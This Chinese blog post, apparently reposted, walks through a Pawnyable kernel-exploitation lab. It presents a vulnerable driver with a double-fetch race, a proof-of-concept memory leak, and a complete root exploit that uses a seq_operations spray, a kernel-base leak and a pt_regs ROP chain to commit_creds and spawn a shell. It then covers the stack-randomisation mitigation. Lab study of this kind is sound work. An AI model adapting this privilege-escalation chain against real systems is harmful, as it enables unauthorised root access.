0014-TIPS-pawnyable : Double-Fetch pt_regs

news2024/7/7 15:02:19

原文
Linux Kernel PWN | 040302 Pawnyable之双取
Double Fetch
题目下载

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Dexter - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "dexter"
#define BUFFER_SIZE 0x20
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002

typedef struct {
  char *ptr;
  size_t len;
} request_t;

static int module_open(struct inode *inode, struct file *filp) {
  filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!filp->private_data) return -ENOMEM;
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  kfree(filp->private_data);
  return 0;
}

int verify_request(void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -1;
  if (!req.ptr || req.len > BUFFER_SIZE)
    return -1;
  return 0;
}

long copy_data_to_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_to_user(req.ptr, filp->private_data, req.len))
    return -EINVAL;
  return 0;
}

long copy_data_from_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_from_user(filp->private_data, req.ptr, req.len))
    return -EINVAL;
  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  if (verify_request((void*)arg))
    return -EINVAL;

  switch (cmd) {
    case CMD_GET: return copy_data_to_user(filp, (void*)arg);
    case CMD_SET: return copy_data_from_user(filp, (void*)arg);
    default: return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

漏洞点如下:

  • 用户态调用ioctl传递到内核态的值strcut request_t *是一个指针
  • 执行verify_request,会将strcut request_t *指针的内容,从用户态拷贝到内核态进行检查,这个没有问题
    在这里插入图片描述
  • 但是在verify_request验证成功之后,在执行copy_data_to_usercopy_data_from_user时,还是通过strcut request_t *从用户态复制数据,这就导致在verify_request函数中copy_from_user执行之后,在copy_data_from_user函数 copy_from_user执行之前可以修改用户态中struct reuqest 的值,从而是verify_request检测无效

在这里插入图片描述

在这里插入图片描述

poc如下

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

typedef struct {
    char *ptr;
    size_t len;
} request_t;

int fd;
request_t req;
int race_win = 0;

int set(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_SET, &req);
}

int get(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_GET, &req);
}

void *race(void *arg) {
    puts("[*] trying to set req.len to 0x100");
    while (!race_win) {
        req.len = 0x100;
        usleep(1);
    }
    return NULL;
}

int main() {
    fd = open("/dev/dexter", O_RDWR);
    if (fd == -1)
        fatal("/dev/dexter");

    char buf[0x100] = {0};
    char zero[0x100] = {0};
    pthread_t th;
    pthread_create(&th, NULL, race, NULL);
    puts("[*] trying to read 0x20 from /dev/dexter");
    while (!race_win) {
        get(buf, 0x20);
        if (memcmp(buf, zero, 0x100) != 0) {
            puts("[+] reached race condition");
            race_win = 1;
            break;
        }
    }
    pthread_join(th, NULL);
    puts("[+] more than 0x20 data is leaked:");
    for (int i = 0; i < 0x100; i += 8)
        printf("%02x: 0x%016lx\n", i, *(unsigned long *)&buf[i]);

    close(fd);
    return 0;
}

漏洞利用

seq_operatioins && kmalloc-32

由于本题中,可通过Double-Fetch利用的堆对象在 kmalloc-32中

#define BUFFER_SIZE 0x20
filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);

可通过open("/proc/self/stat", O_RDONLY)堆喷struct seq_operations结构体,填充到kmalloc-32 slab中

int fd_staa = open("/proc/self/stat", O_RDONLY);

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

通过read系统调用会触发 seq_operations->start,但是read系统调用传递的参数无法传递给 seq_operations->start

漏洞利用 pt_regs

在系统调用进入内核态时,会将用户态的寄存器,保存在内核态的struct pt_regs结构体中,该结构体位于内核栈的栈底
可通过在用户态的寄存器中布局rop,再通过seq_operations->start实现栈迁移到pt_regs处,实现提权

关于怎么从seq_operations->start栈迁移到pt_regs处,对于本题,可以通过调试,在seq_operations->start触发前,观察当前rsp到栈底部pt_regs首部的偏移,再通过类似add rsp number; xxx; xxx; ret;跳转到pt_regs首部
在这里插入图片描述

对可控寄存器的赋值
在这里插入图片描述

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 200
#define VUL_BUF_LEN 0x20
#define BUF_LEN 0x40
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002

#define ofs_seq_ops_start 0x170f80
#define add_rsp_0x140_pop6_ret (kbase + 0x0bf813)

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

uint64_t swapgs_restore_regs_and_return_to_usermode = 0x800e10 + 0x12;
uint64_t mov_rdi_rax_rep_movsq_ret = 0x63d0ab;
uint64_t prepare_kernel_cred = 0x0729b0;
uint64_t commit_creds = 0x072810;
uint64_t pop_rdi_ret = 0x29033c;
//uint64_t pop_rax_ret = 0x1366ca;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t pop_rbx_ret = 0x290240;

unsigned long kbase;
unsigned long g_buf;

typedef struct {
    char *ptr;
    size_t len;
} request_t;

int fd;
int tmp_fd;
request_t req;
int race_win = 0;

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int set(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_SET, &req);
}

int get(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_GET, &req);
}

void *race(void *arg) {
    printf("[*] trying to set req.len to 0x%lx\n", (size_t)arg);
    while (!race_win) {
        req.len = (size_t)arg;
        usleep(1);
    }
    return NULL;
}

void oob_read(char *buf, size_t len) {
    char *zero = (char *)malloc(len);
    pthread_t th;
    pthread_create(&th, NULL, race, (void *)len);
    puts("[*] trying to achieve OOB read");
    memset(buf, 0, len);
    memset(zero, 0, len);
    while (!race_win) {
        get(buf, VUL_BUF_LEN);
        if (memcmp(buf, zero, len) != 0) {
            race_win = 1;
            break;
        }
    }
    pthread_join(th, NULL);

    printf("[+] achieved OOB read (0x%lx bytes)\n", len);
    race_win = 0;
    free(zero);
}

void oob_write(char *buf, size_t len) {
    puts("[*] trying to achieve OOB write");
    pthread_t th;
    char *tmp = (char *)malloc(len);

    while (1) {
        pthread_create(&th, NULL, race, (void *)len);
        for (int i = 0; i < 0x10000; i++)
            set(buf, VUL_BUF_LEN);
        race_win = 1;
        pthread_join(th, NULL);
        race_win = 0;

        oob_read(tmp, len);
        if (memcmp(tmp, buf, len) == 0)
            break;
    }
    printf("[+] achieved OOB write (0x%lx bytes)\n", len);
    free(tmp);
}

int main() {
    char buf[BUF_LEN];
    char temp[0x20] = {0};
    int spray[SPRAY_NUM];
    printf("[*] spraying %d seq_operations objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM - 1; i++) {
        spray[i] = open("/proc/self/stat", O_RDONLY);
        if (spray[i] == -1)
            perror("open");
    }
    printf("[+] /dev/dexter opened\n");
    fd = open("/dev/dexter", O_RDWR);
    if (fd == -1)
        fatal("/dev/dexter");

    spray[SPRAY_NUM - 1] = open("/proc/self/stat", O_RDONLY);

    oob_read(buf, BUF_LEN);

    printf("[*] leaking kernel base with seq_operations\n");
    kbase = *(unsigned long *)&buf[0x20] - ofs_seq_ops_start;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);

    swapgs_restore_regs_and_return_to_usermode += kbase;
    mov_rdi_rax_rep_movsq_ret += kbase;
    prepare_kernel_cred += kbase;
    commit_creds += kbase;
    pop_rdi_ret += kbase;
    pop_rbx_ret += kbase;
    pop_rcx_ret += kbase;

    *(unsigned long *)&buf[0x20] = add_rsp_0x140_pop6_ret;

    oob_write(buf, BUF_LEN);
    // https://www.anquanke.com/post/id/260055
    tmp_fd = spray[SPRAY_NUM - 1];
    __asm__(".intel_syntax noprefix;"
            "mov r15, pop_rdi_ret;"
            "mov r14, 0x0;"
            "mov r13, prepare_kernel_cred;"
            "mov r12, pop_rcx_ret;"
            "mov rbp, 0x0;"
            "mov rbx, pop_rbx_ret;"
            "mov r11, 0xbbbbbbbb;"
            "mov r10, mov_rdi_rax_rep_movsq_ret;"
            "mov r9, commit_creds;"
            "mov r8, swapgs_restore_regs_and_return_to_usermode;"
            "xor rax, rax;"		// 系统调用号
            "mov rdx, 0x8;"		// 参数3
            "mov rsi, rsp;"		// 参数2
            "mov rdi, tmp_fd;"	// 参数1 tmp_fd = open("/proc/self/stat")
            "syscall;"
            ".att_syntax");

    spawn_shell();
    close(fd);
    return 0;
}

新版本内核对抗利用 pt_regs 进行攻击的办法

来源自这里
正所谓魔高一尺道高一丈,内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值,这个保护的开启需要 CONFIG_RANDOMIZE_KSTACK_OFFSET=y (默认开启)

diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
 #ifdef CONFIG_X86_64
 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
 {
+	add_random_kstack_offset();
 	nr = syscall_enter_from_user_mode(regs, nr);
 
 	instrumentation_begin();

当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了, 可以说这种利用方式基本上是废了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/669026.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python搜索本地文件指南

Python搜索本地文件指南 在进行开发或者日常使用中&#xff0c;需要对本地的文件进行搜索操作是常见的需求。如果你正在学习Python编程&#xff0c;接下来的内容会为你提供一些如何使用Python进行本地文件搜索的指南。 搜索文件 在Python中搜索本地文件可以使用os模块。该模…

杂记 | 使用FRP搭建内网穿透服务

文章目录 01 需求场景02 项目地址03 文件介绍04 编写配置文件4.1 编写frps.ini4.2 编写frpc.ini 05 测试 01 需求场景 1、有一台云服务器&#xff0c;Linux&#xff08;CentOS7&#xff09;系统 2、云服务器有公网ip&#xff0c;公网可以访问 3、本地电脑是家用笔记本&#xf…

AN10833-MIFARE type identification procedure.pdf

1.2范围 本文档描述了如何区分MIFARE接口卡IC系列的成员。ISO/IEC 14443-3描述了类型A的初始化和防冲突程序&#xff0c;该程序为所有MIFARE卡提供卡类型信息。 MIFARE卡与ISO/IEC 14443-3兼容。因此&#xff0c;已经存在的应用可以很容易地扩展到分别使用较新的MIFARE芯片和所…

017、数据库管理之监控

监控工具 TiDB数据库的监控体系TiDB Dashboard数据库监控系统数据流转监控系统访问地址 报警系统报警级别指标系统常用监控指标Service Port Status 常用监控指标PD的常用监控指标TiDB-Server的常用监控指标TiKV 的常用监控指标Dashboard的常用指标 实验&#xff1a; 通过监控工…

Flink 学习六 Flink 窗口计算API

Flink 学习六 Flink 窗口计算API 1.窗口 (window)概念和分类 窗口 window 是处理无限流的核心就是把无界的数据流,按照一定的规则划分成一段一段的有界的数据流(桶),然后再这个有界的数据流里面去做计算; 2.分类体系 2.1 滚动窗口 相邻窗口之间是没有数据重合 window 大小…

Geocomputation (2)Attribute data operations

Geocomputation &#xff08;2&#xff09;Attribute data operations 属性数据操作 来源&#xff1a;https://github.com/geocompx/geocompy 1.准备 #| echo: false import pandas as pd import matplotlib.pyplot as plt pd.options.display.max_rows 6 pd.options.disp…

chatgpt赋能python:Python搜索函数:快速、高效的搜索利器

Python 搜索函数&#xff1a;快速、高效的搜索利器 如果你经常使用 Python 编程语言&#xff0c;那么你应该知道搜索数据集的重要性。用于搜索的函数在 Python 中是关键而常用的工具。Python 搜索函数是一种高效、快速的搜索利器&#xff0c;它可以让你轻松地找到你需要的数据…

C生万物 | 聊聊枚举与联合体的用法

文章目录 枚举1、枚举类型的定义2、枚举的使用3、枚举的优点 联合体1、联合体类型的定义2、联合体的特点3、联合体大小的计算一道经典面试题&#xff1a;判断当前计算机的大小端存储 总结与提炼 本文&#xff0c;我们就来谈谈C语言中的枚举和联合体&#xff0c;因为这两块知识点…

6月21日第壹简报,星期三,农历五月初四

6月21日第壹简报&#xff0c;星期三&#xff0c;农历五月初四坚持阅读&#xff0c;静待花开1. 中国LPR“对称降息”10个基点&#xff0c;房贷迎今年首次“降息”。2. 孟加拉国正式申请加入金砖国家&#xff0c;中方&#xff1a;欢迎更多伙伴早日加入金砖大家庭。3. 历时近2年波…

7、DuiLib动态创建控件

文章目录 1、动态创建控件2、纯代码方式动态创建控件3、基于构建好的 XML 动态创建控件&#xff08;CDialogBuilder&#xff09; 1、动态创建控件 在实际业务场景中&#xff0c;并不是所有界面元素都可以通过 XML 预先定义好的&#xff0c;有时候我们需要根据数据库或者服务器…

【计算机组成原理】主存储器

目录 一、存储体系基本概念 二、主存储器的基本组成 三、SRAM和DRAM 四、只读存储器ROM 五、主存储器与CPU的连接 六、双端口RAM和多模块存储器 一、存储体系基本概念 一个二进制位&#xff08;bit&#xff09;是构成存储器的最小单位&#xff1b;字节&#xff08;8bit&…

总结uwsgi的安装、配置与设置开机自启

一、uwsgi的安装与测试 1、uwsgi安装 pip install uwsgi# 查看uwsgi版本号 uwsgi –version 如果服务器安装anconda&#xff0c;有可能安装不上去&#xff0c;建议使用以下命令&#xff1a; conda install -c conda-forge uwsgi 2、测试uwsgi 创建test.py文件,并写下以下…

C++基础(2)——函数高级和函数对象

前言 本文主要介绍了C中函数高级相关的内容 3.1&#xff1a;函数默认参数 在函数定义的时候可以给形参赋初值&#xff0c;如果函数在调用的时候有传入参数&#xff0c;就使用传入的参数&#xff0c;如果没有就用默认的。 注意事项 1&#xff1a;如果某个参数有了默认值&…

Scilab安装与入门

说明&#xff1a;Scilab主要是用于信号处理&#xff0c;我本次用它来进行滤波仿真 地址&#xff1a; Scilab 2023.1.0 | Scilab https://www.scilab.org/download/scilab-2023.1.0 下载好了&#xff0c;进行安装看看 下一步&#xff0c;接受许可协议 选择安装路径到D盘下了…

chatgpt赋能python:Python数值互换:让你的编程更加高效

Python数值互换&#xff1a;让你的编程更加高效 Python是一种高级编程语言&#xff0c;其灵活性和易于学习的特点使其在科学计算、数据分析和人工智能等领域变得非常流行。作为Python的用户&#xff0c;很多时候你可能需要将数值类型之间进行转换&#xff0c;这样可以提高你的…

第6章 面向对象

第6章 面向对象 6.1. Scala包 ​ 包的命名 ​ 包的导入 Scala中基本的import导入语法和Java完全一致 import java.util.List import java.util._ // Scala中使用下划线代替Java中的星号Java中import导入的语法比较单一&#xff0c;Scala对此进行扩展&#xff0c;Scala中的im…

Cadence Allegro PCB设计88问解析(二十八) 之 Allegro中使用Anti Etch分割平面

一个学习信号完整性仿真的layout工程师 最近看到关于Anti Etch的设置&#xff0c;因为本人之前在layout设计是使用过这个命令。后来去到别的公司就不用了&#xff0c;从网上看到说这个命令是用来负片设计的。在这里在说下正片和负片的概念&#xff1a; 正片&#xff1a;是指在a…

Git团队代码规范

Git团队代码规范 1. 分支的定义2. 约束2.1 远程命名2.2 拉取代码2.3 新建Issues2.3 代码规范2.4 MR提交 本文章讲解Git代码管理中团队应该遵守的一些规则&#xff0c;让大家可以愉快的一起开发工作。 本篇文章需要结合Git代码提交规范-实践篇 一起食用哟~ 上一节我们已经讲了如…

Vue----Vue属性绑定

【原文链接】Vue----Vue属性绑定 通过v-bind:xxx 的方式即可实现Vue的属性绑定&#xff0c;比如如下代码&#xff0c;为div标签增加class属性&#xff0c;class的属性值通过msg变量提供 <template><div v-bind:class"msg">测试属性绑定</div> &l…

Java XML

目录 XML简介 XML文档结构 XML组成部分 XML规范 解析XML DOM4J解析实战 1.XML简介 &#xff08;1&#xff09;定义&#xff1a;可扩展标记语言 &#xff08;2&#xff09;特点&#xff1a;跨平台&#xff0c;跨语言/系统 &#xff08;3&#xff09;作用&#xff1a;传…